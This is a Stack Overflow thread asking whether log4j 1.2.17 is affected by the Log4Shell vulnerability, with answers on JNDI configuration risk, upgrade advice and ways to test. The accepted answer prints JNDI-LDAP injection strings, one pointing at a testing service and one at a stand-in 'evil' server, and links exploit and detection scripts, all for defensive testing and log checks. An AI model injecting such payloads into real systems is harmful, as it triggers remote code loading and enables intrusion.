Is log4j vulnerable? Sample code to test the vulnerability

Question

As we have seen in the news, a new zero-day exploit has been reported against the popular Log4J2 library which can allow an attacker to remotely execute code. In our application, we are still using the following log4j dependency.

<dependency>
    <groupId>log4j</groupId>
    <artifactId>log4j</artifactId>
    <version>1.2.17</version>
</dependency>

Is the issue reported only for log4j2? Or is it applicable for 1.2.17 version also? Is there any sample code to test the vulnerability?

"*Is log4j vulnerable?*" - According to the [CVE](https://blog.qualys.com/vulnerabilities-threat-research/2021/12/10/apache-log4j2-zero-day-exploited-in-the-wild-log4shell), only log4j2 is affected. — Turing85, Dec 12 '21 at 10:49
Log4j 1 is not affected by the new zero-day exploit. However, log4j 1 is no longer maintained, and are affected by other older CVEs. See here: https://logging.apache.org/log4j/1.2/ You should therefore upgrade anyway. — marstran, Dec 12 '21 at 10:49
The only outstanding CVE against Log4j 1.2 (CVE-2019-17571) does not affect the most common usage of Log4j as log message producer (see [this question](https://stackoverflow.com/q/69746686/11748454)). However there might be other unknown vulnerabilities (it reached end-of-life more than 5 years ago). — Piotr P. Karwasz, Dec 12 '21 at 11:49

Boommeister · Accepted Answer · 2021-12-12T18:51:21.753

check this Question: log4j-vulnerability - Is log4j1.2.17 vulnerable (was unable to find any jndi code in source)?

Update (2021-12-12 10:09 JST): according to this analysis by @TopStreamsNet, strictly speaking, applications using Log4j 1.x may be impacted if their configuration uses JNDI. However, the risk is much lower. Note that log4j 1.x is End of Life and has other security vulnerabilities that will not be fixed. So we do not recommend using log4j 1.x as a way to avoid this security vulnerability. The recommendation is to upgrade to 2.15.0.

and this:

https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301 log4j 1.x versions can still be vulnerable to this issue, but only when the jms configuration: TopicBindingName or TopicConnectionFactoryBindingName is set to something that JNDI can handle - for example "ldap://host:port/a". In this way, JNDI will do exactly the same thing it does for 2.x. That is, 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input.

Is there any sample code to test the vulnerability?

you can use this online tool to test your application: https://log4shell.huntress.com/

Simply add this line to your application that you want to test, if it has the vulnerabitlity:

logger.error("${jndi:ldap://log4shell.huntress.com:1389/<your-unique-identifier-from-log4shell.huntress.com>}");

Then run the server and check if a request was send to the tool by clicking on "View Connections".

You can also test the vulnerability with this python script:

https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6

Or check your logs if an attack already happened:

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

Or by just checking for strings that include ${jndi:ldap: or just ${jndi: in your logs like this one:

${jndi:ldap://<some_evil_server.com/evil-code.class...}

and here is an example Java application that has the vulnerability:

https://github.com/0x0021h/apache-log4j-rce

I tested it, in the logs of the running application I didn't see much interesting going on:

But in my other server running on 127.0.0.1:8080 I saw following logs appear, so the log statement triggered a http request (I also tested it with the log4shell.huntress.com tool and the connection appeared there.):

16:48:44.338 [http-nio-8080-exec-1] INFO  o.a.coyote.http11.Http11Processor - Error parsing HTTP request header
 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
java.lang.IllegalArgumentException: Invalid character found in method name [00x0c0x020x010x01`0x070x020x010x030x040x000x800x00...]. HTTP method names must be tokens
    at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:419)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:269)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1723)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
    at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.base/java.lang.Thread.run(Thread.java:834)

Can 'log4js' a node logging framework be a security threat too. ?? If yes , My node application is using 'karma' as a devdependency and 'log4js' is a nested dependency inside karma. Can this pose any security threat to my application. If yes how can I mitigate this ??? I am using karma to run test cases locally. — GiggleGirl, Dec 13 '21 at 09:16
log4js should not be affected by the log4j vulnerability, but just to be sure I wanted to test what happens when you try the attack with a log4js logger. I created this stackblitz, but I just can't get the log4js run in Angular (: https://stackblitz.com/edit/angular-ivy-wy36bb?devtoolsheight=33&file=src/app/app.component.ts. I also tried this https://stritti.github.io/log4js/docu/users-guide.html, but I only get the error `Log4js is not defined` — Boommeister, Dec 13 '21 at 12:38

Is log4j vulnerable? Sample code to test the vulnerability

1 Answers1